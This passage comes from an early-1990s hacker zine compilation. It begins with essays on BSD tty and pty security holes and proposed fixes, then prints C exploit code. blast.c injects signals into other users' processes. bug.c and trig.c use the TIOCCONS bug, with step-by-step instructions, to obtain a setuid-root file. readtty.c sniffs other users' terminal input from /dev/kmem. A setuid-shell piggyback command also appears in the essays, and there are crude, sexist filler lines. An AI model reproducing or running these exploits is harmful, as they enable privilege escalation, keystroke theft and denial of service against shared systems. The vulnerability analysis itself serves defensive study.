|
||
trusted path.
|
||
|
||
Most of the recommendations here come from my pty paper, various drafts
|
||
of which have been available for many months. (TIOCOPEN* is new.) The
|
||
basic ideas come from Bellovin's ``Session Tty'' paper, which has been
|
||
available for years. If you get through all of the above and still want
|
||
to improve the tty system, you might get some further ideas out of those
|
||
papers. See pub/hier/pty/paper.9 on stealth.acf.nyu.edu and its
|
||
references for details.
|
||
|
||
BSD tty security, part 4: What You Can Look Forward To
|
||
|
||
To close this series of postings, I'd like to briefly survey the state
|
||
of tty security. I'm sorry I haven't been able to respond personally or
|
||
quickly to everyone's mail on this issue.
|
||
|
||
Just a few years ago I was exploring the depths of an old Ultrix system.
|
||
It didn't take a genius to notice the occasional background jobs gone
|
||
astray---obviously any user could affect any other user's tty, despite
|
||
vhangup(). Soon I had ``blip'', a reasonably powerful tty mode mangler
|
||
that could act both as a concise stty and as a tty security breaker.
|
||
With it I could write arbitrary text to anyone's tty, TIOCSTI terminal
|
||
input, change tty mode settings, send tty signals, and so on.
|
||
|
||
So I sent copies of the code and documentation to the sysadmin at that
|
||
site, and posted a 300-line analysis to comp.unix.wizards. As I recall,
|
||
there were three responses. One asked what I was talking about. One was
|
||
from the admin describing what I now know to be only a partial fix. One
|
||
was from Steve Bellovin referring me to his then-new Session Tty paper
|
||
for descriptions of a few of the bugs as well as a complete (but
|
||
complex) fix for System V which, to my knowledge, has never been
|
||
implemented.
|
||
|
||
blip still works on every BSD UNIX machine I can find. It is trivial to
|
||
adapt to POSIX. And it has, unfortunately, been spreading slowly around
|
||
the net under the name of ``factor.''
|
||
|
||
That's right. Every available BSD UNIX machine allows any user to write
|
||
or type arbitrary characters on the tty of another user. With good
|
||
timing the attacker can even make his attack invisible---the moment a
|
||
sysadmin types a root command, someone could be piggybacking a command
|
||
like cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh. And it gets worse.
|
||
|
||
How many people know how to exploit these bugs? Far too many, I'm sure,
|
||
but not enough to shock other admins into seeing the magnitude of this
|
||
problem. And this pales beside the examples set by vendors. I tell Sun
|
||
how insecure ttys are, and offer a bandaid: Sun tells me that POSIX
|
||
fixes everything, and refuses to admit that a bandaid is necessary.
|
||
Convex is finally waking up, but is still under the delusion that one
|
||
kernel kludge after another (from vhangup() to POSIX sessions and
|
||
beyond) will solve the fundamental problems of statically allocated,
|
||
world-usable ttys.
|
||
|
||
Berkeley is finally showing some interest in fixing the bugs, but it
|
||
will be years before vendors have picked up the changes, and several
|
||
years before the average machine on the net is safe. Sorry, but I'm not
|
||
going to wait that long. I am sick of constantly wondering whether my
|
||
users know enough to break security. I am sick of hearing that POSIX
|
||
fixes the problems. I am sick of seeing vendors blind themselves to such
|
||
a fundamental set of holes. You should be sick of it too.
|
||
|
||
So here's what I'm doing about it.
|
||
|
||
1. In part 3 of this series I outlined a reasonably simple set of fixes.
|
||
If you have a BSD-derived system where something in the plan doesn't
|
||
work, please post your comments here and we'll see what has to be done.
|
||
If you don't have source, and you want to be notified as soon as binary
|
||
patches are available, tell CERT your hardware type and OS version at
|
||
cert@cert.sei.cmu.edu.
|
||
|
||
2. I will dedicate some of my free time to working with vendors and
|
||
established authorities like CERT interested in tightening up tty
|
||
security.
|
||
|
||
3. So that programmers are insulated from these changes in the pty
|
||
subsystem, I commit myself to porting my pty manager to any platform I
|
||
have access to.
|
||
|
||
4. I will attempt to outline a minimal set of (optional) changes to the
|
||
POSIX standard to keep the standard from interfering with tty security.
|
||
I would be interested in hearing from POSIX committee members interested
|
||
in helping with this.
|
||
|
||
5. On or around October 29, 1992, I will publish a set of tiger programs
|
||
that test for and exploit the failures in BSD tty security that I have
|
||
described.
|
||
|
||
6. I will give further details on the security holes to anyone who
|
||
convinces me that he has a legitimate interest. That means I want a
|
||
verifiable chain of people and phone numbers from the contact for a
|
||
major network down to whoever wants the information, plus a better
|
||
excuse than ``I haven't read Bellovin's paper or your paper yet.''
|
||
If you simply want someone other than me to tell you that the holes
|
||
exist, ask bostic@okeeffe.berkeley.edu. (That's Keith Bostic, the guy in
|
||
charge of BSD; don't be surprised if he doesn't get to your message
|
||
immediately.) Please don't believe vendor assurances that the holes have
|
||
been fixed---they haven't.
|
||
|
||
I hope I've yelled enough about these bugs now. I hope that soon there
|
||
won't be anything to yell about.
|
||
|
||
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio: series of postings off UseNet
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
`Sex' is not the question. `Sex' is the answer. `Yes' is the question.
|
||
|
||
==============================================================================
|
||
TTY article 4.ch.03.01 05/03/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
|
||
5. Some tty security holes
|
||
|
||
In this section we describe some of the most important security holes
|
||
related to ttys.
|
||
|
||
There are two types of ttys. Hardwired ttys, such as /dev/console, are
|
||
connected directly to lines outside the computer. Pseudo-ttys (ptys),
|
||
such as /dev/ttyp3, have device drivers that present a similar
|
||
interface, but any output to /dev/ttyp0 is presented as input to a
|
||
``master'' side /dev/ptyp3, and vice versa. /dev/ttyp0 is called the
|
||
``slave'' side of the pseudo-tty. Note that ptys are implemented very
|
||
differently in non-BSD systems.
|
||
|
||
Many tty security holes relate to the protection of ttys within the
|
||
filesystem. A tty is owned by the user whose shell is running under it.
|
||
This mistake is a SCINUP (footnote: Security Compromise Introduced in
|
||
the Name of User Power) that gives users many opportunities to make
|
||
mistakes. Its apparent advantage is that the user can open the tty from
|
||
other terminals; but this can be better done in other ways, and doesn't
|
||
outweigh the potential problem of a user changing his tty to
|
||
world-readable and world-writable.
|
||
|
||
The simplest form of user-to-user communication used to be (and still
|
||
is) the ``write'' program. One user would set the world-write bit on his
|
||
tty; another user would use ``write'' to send messages to the tty.
|
||
Unfortunately, this was also a huge hole: other users could just as
|
||
easily send unidentified mounds of trash onto the tty, or even apply
|
||
ioctls. (stty intr ' ' > /dev/ttyxx.)
|
||
|
||
This bug was ``fixed'' in BSD 4.3, and independently in certain other
|
||
systems. BSD 4.3 introduced a ``tty group,'' group 4. All ttys were set
|
||
to group tty. write and other communications programs were made setgid
|
||
tty. Finally, users would set the group-write bit rather than the
|
||
world-write bit to allow communications.
|
||
|
||
These changes still leave many holes open. The default state of a tty is
|
||
still ``messages on,'' so inexperienced users cannot prevent others from
|
||
bothering them. Arbitrary, perhaps damaging text can still be sent
|
||
through the talk and comsat daemons. The write program itself is still a
|
||
fruitful source of bugs, as described in a later section; in particular,
|
||
some versions pass descriptors for the other terminal through to a !
|
||
command. This leaves no protection at all.
|
||
|
||
The reader may wonder whether write access is so bad---the worst that a
|
||
program could do is set the terminal modes strangely. However, changing
|
||
the terminal's process group can destroy process control; setting flow
|
||
control and flushing output strategically can prevent detection; and
|
||
many (real) terminals accept a ``playback'' command that feeds stored
|
||
sequences back into the computer.
|
||
|
||
Furthermore, if there is a way to open a tty for writing, then there is
|
||
a way to open that tty for reading: if a detached process opens a tty in
|
||
any way, it will gain that tty as its control terminal, and can then
|
||
reopen it for reading. This means that it can use the TIOCSTI ioctl to
|
||
simulate terminal input. (This is another example of the problems caused
|
||
by the concept of a ``control terminal.'' TIOCSTI is not inherently bad:
|
||
although it really should insert characters at the *front* of the queue,
|
||
and although it can interfere with typed input if there's no careful
|
||
synchronization, TIOCSTI can be used very effectively. Eliminating it,
|
||
as has been done in several BSD-derived systems, is a poor solution.)
|
||
|
||
|
||
A quite different class of filesystem tty bugs comes from this problem:
|
||
Unused pseudo-ttys are mode 666, i.e., readable and writable by anyone.
|
||
This is a SCINUP. ``User programs want to run other programs under ptys,
|
||
so the ptys have to be unprotected for arbitrary programs to use them.''
|
||
Unfortunately, a program can access the slave side, then wait for a
|
||
program to start using the tty, then suddenly jump in and take control.
|
||
(Footnote: POSIX sessions offer no protection against this. As the POSIX
|
||
Rationale, B.7.1.1.4, states: ``A process accessing a terminal that is
|
||
not its controlling terminal is effectively treated the same as a member
|
||
of the foreground process group. While this may seem unintuitive, note
|
||
that these controls are for the purpose of job control, not security,
|
||
and job control relates only to a process's controlling terminal.
|
||
*Normal file access permissions handle security*'' (italics added).
|
||
Apparently this has been removed from the POSIX.1-1990 rationale; this
|
||
author finds it disturbing that the POSIX committee no longer thinks
|
||
normal file access permissions should handle security.)
|
||
|
||
A particularly nasty application of this hole is to have a program keep
|
||
TIOCSTI'ing ^C's into /dev/ttyp0; telnetd (and almost every other
|
||
program with the usual pty allocation code) will find /dev/ttyp0 open
|
||
before looking at any other tty, so login be killed instantly. In
|
||
combination with other bugs, this can force the sysadmin to shut off
|
||
power to the machine, without so much as an accounting trace afterwards.
|
||
Another application is a simple Trojan horse, which popular myth says is
|
||
impossible for network logins if the attacker doesn't have root
|
||
privilege. (Details of this attack are left to the reader.)
|
||
|
||
It is also clear that, because ptys are static and unprotected, one user
|
||
can trivially deny service to all others, again without so much as an
|
||
accounting record. While denial of service is not as severe as a true
|
||
security hole, it is just as important.
|
||
|
||
Note that some systems have even the hardwired ttys set up mode 666 when
|
||
they're unused. This is pointless. It leads to the same bugs as above
|
||
and has no conceivable application.
|
||
|
||
|
||
A different type of tty bug---one that would apply even if ttys weren't
|
||
in the filesystem---is that a program can retain access to a tty even
|
||
after someone else logs in. Without some major enhancements to the
|
||
system (viz.: dynamic ptys, perhaps through streams), telnetd and getty
|
||
have to reuse an available tty without knowing whether a background
|
||
process still has access to that tty. Users regularly complain about
|
||
garbage spewed onto their screens by other users' background processes;
|
||
a security hole waiting for accidents to happen is more dangerous than
|
||
one that is difficult to exploit.
|
||
|
||
|
||
The careful reader may have raised several objections to the above
|
||
descriptions, as some manual pages give the impression that a user can
|
||
protect himself from attackers. If a process is running under a
|
||
terminal, isn't it susceptible to signals from that terminal? If it's
|
||
not in the tty's process group, doesn't it get stopped if tostop is set?
|
||
The answers are yes and yes, but an attacker can ignore various signals,
|
||
set his process group carefully, and/or stick himself inside a vfork()
|
||
to dodge these signal problems.
|
||
|
||
A more important objection is that vhangup() revokes access to ttys.
|
||
However, empirical tests show that vhangup() does nothing on many
|
||
systems, less than its documentation on most, and in any case not much.
|
||
Even if it worked as documented, it would not revoke a process's access
|
||
to its control terminal. Convex UNIX, perhaps the most secure available
|
||
BSD UNIX with respect to tty protection, has a large amount of paranoia
|
||
coded into the kernel in various attempts to solve the problems
|
||
mentioned above. Even it does not protect against all the above attacks,
|
||
and race conditions defeat much of its care.
|
||
|
||
Until UNIX has a working enforce() call to reliably enforce new access
|
||
permissions on an object, users should never be given permission for
|
||
anything that they may not be allowed to do forever.
|
||
|
||
|
||
It is worthwhile to note another SCINUP at this point: On Sun's popular
|
||
workstations, /etc/utmp is almost always mode 666. Sun did this because
|
||
many of its window programs (``tools''), like many programs available
|
||
for other machines, would benefit from an /etc/utmp entry. Making
|
||
/etc/utmp world-writable was considered more secure than making those
|
||
programs setuid root. Unfortunately, many programs depend on /etc/utmp
|
||
for accurate information, and can develop new security holes if they are
|
||
deluded into thinking that a different user is working under the tty.
|
||
Even on single-user machines, a writable /etc/utmp is an accident
|
||
waiting to happen.
|
||
|
||
6. Adding pty security to current systems
|
||
|
||
In this section, we consider what pty can do to prevent the security
|
||
holes of section 5. This section is mainly of interest to system
|
||
managers of machines derived from BSD 4.2 or 4.3.
|
||
|
||
Without support from the kernel, pty must run setuid to provide real
|
||
security. It is careful to make sure that the slave runs as the original
|
||
uid; it is very careful to make sure that the kernel accounts pty use to
|
||
the correct user; and it is extremely careful not to touch any files
|
||
outside the session directory. (Foornote: This level of security is very
|
||
difficult to achieve under System V before release 4.)
|
||
|
||
Under BSD, pty can successfully run setuid as any given user. (It can be
|
||
installed by unprivileged users on current insecure machines, but after
|
||
taking all the steps mentioned in this section, a sysadmin can be sure
|
||
that unauthorized pseudo-tty access is impossible.) Unfortunately, even
|
||
BSD doesn't provide enough security features; as mentioned in section 4,
|
||
various restrictions, missing capabilities, and bugs probably require
|
||
that pty be installed setuid root.
|
||
|
||
We will assume that some user, say ``pty'', has been set up for pty use.
|
||
This should be a system-only account, never used for interactive logins
|
||
and only available for storing privileged programs and secure files. It
|
||
may or may not be the same as root.
|
||
|
||
|
||
With pty in place, two SCINUPs disappear immediately. Unused psuedo-ttys
|
||
can be made owner pty, mode 600; and /etc/utmp can be made owner pty,
|
||
mode 644. Insecure pseudo-ttys and world-writable /etc/utmp are no
|
||
longer necessary for user programs to take advantage of these features.
|
||
(Of course, pty can work with the old, insecure setup; for a gradual
|
||
upgrade, a sysadmin can even dedicate some ptys to secure use and some
|
||
old ptys to insecure use.)
|
||
|
||
pty supports the BSD 4.3 tty group model. It supports leaving pseudo-tty
|
||
ownership with pty instead of changing it to the current user. It
|
||
supports a default of unwritable (and un-``biffable'') ttys. The pty
|
||
package includes mesg and biff adapted to work with these changes. The
|
||
system administrator can configure pty without these features if he
|
||
wants.
|
||
|
||
pty's random pseudo-tty searching can give a huge boost to speed and
|
||
security, as mentioned in section 2. Its use of TIOCEXCL closes many
|
||
holes, though the widespread use of /dev/tty means that this cannot be
|
||
made default. These are independent of all other security features.
|
||
|
||
None of the above (except TIOCEXCL, but there are still races) address
|
||
the problem of a background process keeping access to a pseudo-tty.
|
||
pty's test for previous access is completely reliable under some
|
||
variants of the BSD kernel, and completely unreliable under others. If
|
||
the kernel could be counted on to exhibit proper O_NDELAY tty behavior,
|
||
pty would have closed the most important tty security hole. The author
|
||
is considering adding an option for pty to search the kernel file table.
|
||
Of course, it would be even better if the kernel supported real streams
|
||
and pty were redone to use dynamic stream pseudo-ttys.
|
||
|
||
On systems where vhangup() reliably closes everything except /dev/tty,
|
||
there's a different solution: Eliminate /dev/tty. This is probably a
|
||
good idea for future systems in any case. It is considered further in
|
||
section 9.
|
||
|
||
|
||
Installing pty with all security measures enabled is useless unless
|
||
programs are modified to actually use pty. It is straightforward to
|
||
modify getty so that it always ignores the real tty and forks login
|
||
under pty. All hardwired /dev/tty* would remain permanently in raw mode,
|
||
owned by root, mode 600.
|
||
|
||
It is not so easy to modify telnetd to use pty, because telnetd
|
||
allocates a pseudo-tty for itself and depends on full control to pass
|
||
mode changes between the pseudo-tty and the telnet on the other side of
|
||
the network. The author has done the necessary work, using pty's file
|
||
descriptor passing feature to give telnetd the tty descriptors. A side
|
||
effect of this strategy is that the patched telnetd runs at the same
|
||
efficiency as the original version, even after a reconnect. Patches for
|
||
telnetd are included in the pty package.
|
||
|
||
A few problems arise because pty and login have different views of
|
||
/etc/utmp. The latter's strategy regularly leads to race conditions on
|
||
heavily used machines, does not adapt well to ptys used in random order,
|
||
and is logically impossible to adapt to dynamically allocated ptys.
|
||
Nevertheless, pty has to conform to it, so the patched telnetd invokes
|
||
pty with -xR to find ptys in an order that login can handle. (Footnote:
|
||
A much better solution is to have utmp initialized at system startup to
|
||
list all available ptys, in the order that login requires; then pty will
|
||
conform to that order. This still won't help login once ptys are out of
|
||
the filesystem.)
|
||
|
||
A more serious problem is that the pseudo-tty is allocated before
|
||
authentication and hence is controlled by root. The pty package includes
|
||
a ``sessuser'' command to fix this problem. Once the user owns the
|
||
pseudo-tty file and is listed in /etc/utmp for that tty (all as per
|
||
login's usual procedure), ``sessuser'' changes ownership of the session
|
||
to the user. Then all the other session commands will work properly.
|
||
|
||
|
||
Some work still needs to be done, to adapt other common programs
|
||
(rlogind, screen, emacs, etc.) to use the pty model. In the meantime, a
|
||
sysadmin can take the ``gradual upgrade'' strategy and leave those old
|
||
programs to use insecure pseudo-ttys. Users will meanwhile garner the
|
||
benefits of tty security and session management.
|
||
|
||
|
||
7. pty extras
|
||
|
||
lock is a clone of the usual program. It corrects many of the original's
|
||
failings, by being much simpler: it does not accept hasta la vista; it
|
||
does not accept the root password; it never times out; and it does print
|
||
a message for each bad password. (Also, unlike many versions, it catches
|
||
all tty signals; so even if an attacker manages to reset the tty from
|
||
raw mode, he cannot interrupt the lock.)
|
||
write has several
|
||
security holes: 1. Control characters were passed through. This version
|
||
converts anything unprintable into a caret. 2. Lines were not
|
||
distinctively marked. A user could manually simulate the ``EOT'' or
|
||
``EOF'' sequence, wait a few minutes, then start sending anything to the
|
||
other tty without identification. This version precedes each line with
|
||
the name of the sending user, and prints something more informative than
|
||
EOT for an ended message. 3. write could be used to flood a terminal.
|
||
(This is an accident waiting to happen.) This version puts a one-second
|
||
pause between each line and restricts line length. 4. Originally, write
|
||
would only check the protection on the tty being written to. But this
|
||
meant that a user could be interrupted by someone hiding behind mesg n
|
||
and have no recourse. (Footnote: Remember that UNIX has no enforce()
|
||
call to enforce new permissions on an object. Setting mesg n does not
|
||
stop a write in progress.) So many versions of write included
|
||
``revenge'': X was allowed to write to Y only if Y could write back.
|
||
However, these versions tested tty protection only at the beginning of a
|
||
message---which was useless. This version does the correct test: it
|
||
simply checks write permission before sending each new line.
|
||
|
||
|
||
------------------------------------------------------------------------------
|
||
Comments: more comments/applications for this information are needed.
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
C0dEz R el8 d00d! We wANt m0rE c0deZ iN d1s mAG!
|
||
|
||
==============================================================================
|
||
blast.c 4.cb.15.00 04/04/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
Signals
|
||
=======
|
||
There is a major bug in 4.2 which allows you to set your process group
|
||
and your terminal process group to any value you like. This results in
|
||
several nasty security features.
|
||
|
||
#include <sgtty.h>
|
||
#include <stdio.h>
|
||
|
||
main(argc, argv)
|
||
char **argv;
|
||
{
|
||
register char *str;
|
||
register char *cp;
|
||
register int pid;
|
||
int pgrp;
|
||
struct sgttyb sb;
|
||
struct sgttyb nsb;
|
||
struct tchars tc;
|
||
struct ltchars lc;
|
||
|
||
if (argc < 2)
|
||
{
|
||
fprintf(stderr, "usage: blast [-ksd] pid ...\n");
|
||
exit(1);
|
||
}
|
||
ioctl(0, TIOCGETP, &sb);
|
||
nsb = sb;
|
||
nsb.sg_flags &= ~ECHO;
|
||
ioctl(0, TIOCSETN, &nsb);
|
||
if (ioctl(0, TIOCGETC, &tc))
|
||
{
|
||
perror("getc");
|
||
goto done;
|
||
}
|
||
if (ioctl(0, TIOCGLTC, &lc))
|
||
{
|
||
perror("lgetc");
|
||
goto done;
|
||
}
|
||
argv++;
|
||
cp = &tc.t_intrc;
|
||
sigsetmask(-1);
|
||
while (argc-- > 1)
|
||
{
|
||
str = *argv++;
|
||
if (*str == '-')
|
||
{
|
||
switch (str[1]) {
|
||
case 'k': /* kill process */
|
||
cp = &tc.t_intrc;
|
||
break;
|
||
case 's': /* stop process */
|
||
cp = &lc.t_suspc;
|
||
break;
|
||
case 'd': /* dump process */
|
||
cp = &tc.t_quitc;
|
||
break;
|
||
default: /* illegal */
|
||
fprintf(stderr, "bad option\n");
|
||
goto done;
|
||
}
|
||
continue;
|
||
}
|
||
pid = 0;
|
||
while (*str)
|
||
{
|
||
pid = pid * 10;
|
||
if ((*str < '0') || (*str > '9'))
|
||
{
|
||
fprintf(stderr, "bad number\n");
|
||
goto done;
|
||
}
|
||
pid += (*str++ - '0');
|
||
}
|
||
pgrp = getpgrp(pid);
|
||
if (pgrp < 0) {
|
||
perror("getpgrp");
|
||
goto done;
|
||
}
|
||
if (ioctl(0, TIOCSPGRP, &pgrp)) {
|
||
perror("ttyspgrp");
|
||
goto done;
|
||
}
|
||
if (setpgrp(0, pgrp)) {
|
||
perror("spgrp");
|
||
goto done;
|
||
}
|
||
if (ioctl(0, TIOCSTI, cp)) {
|
||
perror("sti");
|
||
goto done;
|
||
}
|
||
}
|
||
|
||
done: ioctl(0, TIOCSETN, &sb);
|
||
}
|
||
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
A new song by Nirvana: Smells Like Gene Spafford!
|
||
|
||
==============================================================================
|
||
bugntrig.c 4.cb.15.01 04/04/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
|
||
Here you have the code for two nice programs. bug.c and trig.c.
|
||
|
||
It polls bugid#1008324, the well-known TIOCCONS bug.
|
||
I take no responsibility for the problems on your system
|
||
that might occur after you have run these programs.
|
||
|
||
********************************************************************
|
||
*Please do understand that if the wrong user get his hands on these*
|
||
*programs, he'll get root-priviliges!!!!!! *
|
||
********************************************************************
|
||
|
||
1) Compile bug.c
|
||
2) Compile trig.c
|
||
3) Move trig to /tmp
|
||
4) Run bug (it will wait until sameone is using the console
|
||
5) Log in as root on the real console
|
||
6) Give some commands on the console
|
||
7) Root will be logged out of the console
|
||
8) You will have a file, owned by root, chmod 4711, named /tmp/testfile
|
||
9) Maybe you have to kill -HUP the getty on the console to force
|
||
the console to work again.
|
||
10) Be sure to remove testfil, bug and trig.
|
||
|
||
bug.c:
|
||
|
||
#include <sys/types.h>
|
||
#include <sys/stat.h>
|
||
#include <termios.h>
|
||
#include <fcntl.h>
|
||
#include <signal.h>
|
||
#include <errno.h>
|
||
#include <stdio.h>
|
||
|
||
static void thething()
|
||
{
|
||
alarm(5);
|
||
}
|
||
|
||
static struct sigvec sigge = {
|
||
thething,
|
||
sigmask(SIGALRM),
|
||
SV_INTERRUPT
|
||
};
|
||
|
||
main()
|
||
{
|
||
int m,s;
|
||
char buf[1024];
|
||
char *l;
|
||
time_t yesterday;
|
||
struct stat devcon;
|
||
|
||
/* The last pty on the system */
|
||
static char lastpty[]="/dev/ptyvf";
|
||
|
||
/* The name of the program "trig" */
|
||
static char horrible[] = ";/tmp/trig;exit\n";
|
||
|
||
sigvec(SIGALRM,&sigge,0);
|
||
if(stat("/dev/console",&devcon) == -1) {
|
||
perror("/dev/console");
|
||
exit(1);
|
||
}
|
||
yesterday=devcon.st_atime;
|
||
if((m=open(lastpty,O_RDWR)) == -1) {
|
||
perror(lastpty);
|
||
exit(1);
|
||
}
|
||
|
||
lastpty[5]='t';
|
||
if((s=open(lastpty,O_RDWR)) == -1) {
|
||
perror(lastpty);
|
||
exit(1);
|
||
}
|
||
|
||
/* Ok, now get total control of the console */
|
||
if(ioctl(s,TIOCCONS) == -1) {
|
||
perror("TIOCONS");
|
||
exit(1);
|
||
}
|
||
alarm(5);
|
||
|
||
/* Wait until the console is used */
|
||
do {
|
||
if (read(m,buf,sizeof buf)<0 && errno!=EINTR)
|
||
return 1;
|
||
stat("/dev/console",&devcon);
|
||
} while (devcon.st_atime==yesterday);
|
||
|
||
/* Do the ugly stuff */
|
||
alarm(0);
|
||
switch (fork()) {
|
||
case -1:
|
||
return 1;
|
||
case 0:
|
||
alarm(10);
|
||
while (read(m,buf,sizeof buf)>0)
|
||
;
|
||
break;
|
||
default:
|
||
/* In the main process, put the "horrible" command on the console */
|
||
for (l=horrible; *l; l++)
|
||
if (write(m,l,1)==-1)
|
||
break;
|
||
while (wait(0)<=0)
|
||
;
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
trig.c:
|
||
|
||
#include <termios.h>
|
||
#include <fcntl.h>
|
||
|
||
int main(argc,argv,envp)
|
||
int argc;
|
||
char **argv,**envp;
|
||
{
|
||
int s;
|
||
|
||
s=open("/dev/console",O_WRONLY);
|
||
ioctl(s,TIOCCONS);
|
||
close(s);
|
||
/* Change this to a nice directory ... */
|
||
chdir("/tmp");
|
||
chown("testfil",0,0);
|
||
chmod("testfil",04711); /* Oops, here we go... */
|
||
return 0;
|
||
}
|
||
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
If women are so independant, why do they go to the bathroom in pairs?
|
||
|
||
==============================================================================
|
||
readtty.c 4.cb.15.02 04/04/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
|
||
#include <stdio.h>
|
||
#include <sys/ttyio.h>
|
||
#include <sys/param.h>
|
||
#include <sys/clist.h>
|
||
#include <sys/tty.h>
|
||
#include <nlist.h>
|
||
#include <ctype.h>
|
||
|
||
/**
|
||
**/
|
||
|
||
|
||
#defineNDZ1/* DZ's and DH's have to be mapped into */
|
||
#defineNDH2/* your own hardware*/
|
||
#define NPT2/* number of pty controllers*/
|
||
#defineDZ111/* major device number of the dz11*/
|
||
#defineDH1133/* major device number of the dh11*/
|
||
#define PTY20/* major device number of the ptys*/
|
||
#defineDZ_X8/* eight lines per dz11*/
|
||
#defineDH_X16/* sixteen lines per dh11*/
|
||
#define PT_X16/* sixteen lines per pty controller*/
|
||
|
||
#undefmajor()/* need to do this because of kernel*/
|
||
#undefminor()/* macros used to strip off device #'s */
|
||
|
||
static struct nlist nl[2];
|
||
|
||
static char *name_list[] = {
|
||
"_dz_tty",/* base address of the dz tty structures*/
|
||
"_dhu11" ,/* same for the dh's*/
|
||
"_pt_tty",/* pseudo-ttys*/
|
||
0
|
||
};
|
||
|
||
main(argc , argv)
|
||
char **argv;
|
||
int argc;
|
||
{
|
||
/********************************/
|
||
int major;/* place to hold major #*/
|
||
int minor;/* place to hold minor #*/
|
||
int board_type;/* tells me which kind of tty */
|
||
int fd;/* fd for memory*/
|
||
long offset;/* how far into the above tables*/
|
||
struct tty ttyb;/* place to put the tty buffer*/
|
||
extern char *calloc();/* our friend calloc*/
|
||
|
||
get_args(&major , &minor , argc , argv);
|
||
check_args(major , minor , &board_type , argv);
|
||
get_name_list(board_type , argv);
|
||
open_memory(&fd , argv);
|
||
{
|
||
char *p;/* blank out argument list */
|
||
|
||
for (p = argv[1]; *p != '\0'; p++) *p = '\0';
|
||
for (p = argv[2]; *p != '\0'; p++) *p = '\0';
|
||
}
|
||
offset = minor * sizeof(struct tty);
|
||
fflush(stdout);
|
||
fflush(stdout);
|
||
while (1) {
|
||
read_tty(fd , nl[0].n_value , offset , &ttyb);
|
||
get_clist(fd , &ttyb.t_nu.t_t.T_rawq);
|
||
}
|
||
}
|
||
|
||
/**
|
||
***Much monkeying around was done before I settled on this
|
||
***procedure. I attempted to follow the c_next pointers in
|
||
***the individual cblocks. This is friutless since by the
|
||
***time we do the second seek and read the information has
|
||
***been whisked away.
|
||
***
|
||
***So - The LIMITATIONS of this routine are:
|
||
***
|
||
***cannot read from any tty in RAW mode
|
||
***can only snarf first 28 characters (ie
|
||
***the first cblock)
|
||
***
|
||
***Nice things about this routine:
|
||
***
|
||
***only NEW characters are echoed to the output
|
||
***(eg characters in the cblock which have been
|
||
***seen before are swallowed).
|
||
**/
|
||
|
||
get_clist(fd , cl)
|
||
register struct clist *cl;
|
||
{
|
||
static char c[CBSIZE];
|
||
static char *old_start = 0 , *old_finish = 0;
|
||
static int old_i = 0;
|
||
char *pntr;
|
||
int tn , in;
|
||
|
||
if ((cl->c_cc > 0) &&
|
||
((old_start != cl->c_cf) || (old_finish != cl->c_cl))) {
|
||
pntr = c;
|
||
lseek(fd , (long) cl->c_cf , 0);
|
||
read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc));
|
||
if (old_start == cl->c_cf) {
|
||
in -= old_i;
|
||
pntr += old_i;
|
||
}
|
||
if (in > 0) while (in--) putchar(*(pntr++));
|
||
else if (in < 0) while (in++) putchar('\010');
|
||
fflush(stdout);
|
||
old_i = tn;
|
||
old_start = cl->c_cf;
|
||
old_finish = cl->c_cl;
|
||
}
|
||
if (cl->c_cc <= 0) {
|
||
if (old_i != 0) putchar('\n');
|
||
old_i = (int) NULL;
|
||
old_start = old_finish = NULL;
|
||
}
|
||
}
|
||
|
||
|
||
read_tty(fd , base , offset , buffer)
|
||
long base , offset;
|
||
register struct tty *buffer;
|
||
{
|
||
register int i;
|
||
|
||
lseek(fd , base + offset , 0);
|
||
i = read(fd , buffer , sizeof(struct tty));
|
||
if (i != sizeof(struct tty)) {
|
||
printf("unexpected return from read\n");
|
||
printf("should have been %d\n" , sizeof(struct tty));
|
||
printf("was %d\n" , i);
|
||
exit(0);
|
||
}
|
||
}
|
||
|
||
open_memory(fd , argv)
|
||
int *fd;
|
||
char **argv;
|
||
{
|
||
if ((*fd = open("/dev/kmem" , 0)) < 0) {
|
||
perror(argv[0]);
|
||
exit(0);
|
||
}
|
||
}
|
||
|
||
get_name_list(index,argv)
|
||
int index;
|
||
char **argv;
|
||
{
|
||
nl[0].n_name = name_list[index];
|
||
nlist("/vmunix" , nl);
|
||
if (! nl[0].n_type) {
|
||
printf("%s: couldn't get name list\n" , argv[0]);
|
||
exit(0);
|
||
}
|
||
printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value);
|
||
}
|
||
|
||
get_args(major , minor , argc , argv)
|
||
int *major , *minor , argc;
|
||
char **argv;
|
||
{
|
||
if (argc != 3) {
|
||
fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]);
|
||
exit(0);
|
||
}
|
||
*major = atoi(argv[1]);
|
||
*minor = atoi(argv[2]);
|
||
printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor);
|
||
}
|
||
|
||
check_args(major , minor , board , argv)
|
||
char **argv;
|
||
int *board;
|
||
{
|
||
if (minor < 0) {
|
||
bad_minor:printf("%s: bad minor device number\n" , argv[0]);
|
||
exit(0);
|
||
}
|
||
switch (major) {
|
||
|
||
case DZ11:
|
||
if (minor >= NDZ * DZ_X) goto bad_minor;
|
||
printf("DZ11 - Unit %d\n" , minor / DZ_X);
|
||
*board = 0;
|
||
break;
|
||
|
||
case DH11:
|
||
if (minor >= NDH * DH_X) goto bad_minor;
|
||
printf("DH11 - Unit %d\n" , minor / DH_X);
|
||
*board = 1;
|
||
break;
|
||
|
||
case PTY:
|
||
if (minor >= NPT * PT_X) goto bad_minor;
|
||
printf("PTY - Unit %d\n" , minor / PT_X);
|
||
*board = 2;
|
||
break;
|
||
|
||
default:
|
||
printf("%s: bad major device number\n" , argv[0]);
|
||
exit(0);
|
||
}
|
||
}
